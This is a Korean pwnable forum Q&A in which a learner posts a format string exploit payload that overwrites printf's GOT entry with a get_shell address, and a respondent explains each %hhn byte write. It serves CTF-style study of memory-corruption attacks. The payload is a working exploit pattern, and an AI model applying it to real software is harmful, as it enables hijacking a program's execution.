format string bug 관련 문의.

sprintf 함수로 버퍼를 채운 뒤 ret address를 덮어 씌우는 방식을 많이 사용하시는 것 같은데, 저는 fsb의 정석(?) 대로 printf 의 got을 덮어 씌우는 방법을 사용했습니다.

다만, 여기서 의문 사항이 몇 가지 있어 질문 드립니다.

전체적인 페이로드는 아래와 같이 작성했습니다.

pay = b'AAAA'
pay += p32(overwrite+2)
pay += p32(overwrite+1)
pay += p32(overwrite)
pay += p32(overwrite+3)
pay += b'%85c%4$hhn'
pay += b'%29c%3$hhn'
pay += b'%126c%2$hhn'
pay += b'%4c%hhn'

  1. fsb는 첫 번째 %p부터 발생하는 것을 확인하였습니다. 하지만 실제로 값을 넣어보면 dummy 값 4 byte 이후부터 값이 들어가는 것을 보았습니다. 왜 이런 것인가요?
  2. 위의 페이로드에서 보듯이, 삽입하는 주소 값이 순서대로가 아닌
    +3 -> 0 -> +1 -> +2 로 삽입하여야 제대로 값이 들어가는 것을 확인하였습니다.
    1항과 연계되어 발생하는 문제인 것 같긴한데... 왜 그런지 모르겠습니다.
#pwnable
작성자 정보
답변 1
kimht_
강의 수강: 1
  1. 어떤 질문인지 이해하지 못했습니다만, 아래 2번에 대한 답변을 보시면 궁금증 해결이 가능할 것 같습니다.
  2. 적어주신 pay가 어떤식으로 overwriteget_shell() 주소를 덮는지 그 과정을 아래에 적어봤습니다. 아마 자세히 보시면 궁금증이 해결되실 것 같습니다.
  • pay += b'%85c%4$hhn'에 의해 overwrite에 0x69 오버라이트함.

    • 4$이므로 pay의 4 * 4번째에 있는 4바이트(overwrite)에다가 0x69를 오버라이트합니다.
  • pay += b'%29c%3$hhn'에 의해 overwrite+1에 0x86 오버라이트함.

    • 3$이므로 pay의 4 * 3번째에 있는 4바이트(overwrite+1)에다가 0x86을 오버라이트합니다.
  • pay += b'%126c%2$hhn'에 의해 overwrite+2에 0x04 오버라이트함.

    • 2$이므로 pay의 4 * 2번째에 있는 4바이트(overwrite+2)에다가 0x04를 오버라이트합니다.
  • pay += b'%4c%hhn'에 의해 overwrite+3에 0x08 오버라이트함.

    • 앞에 %c가 4개 있었으므로, %hhn은 %5$hhn과 같습니다. 따라서 pay의 4 * 5번째에 있는 4바이트(overwrite+3)에다가 0x08을 오버라이트합니다.
2022.08.19. 16:17
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기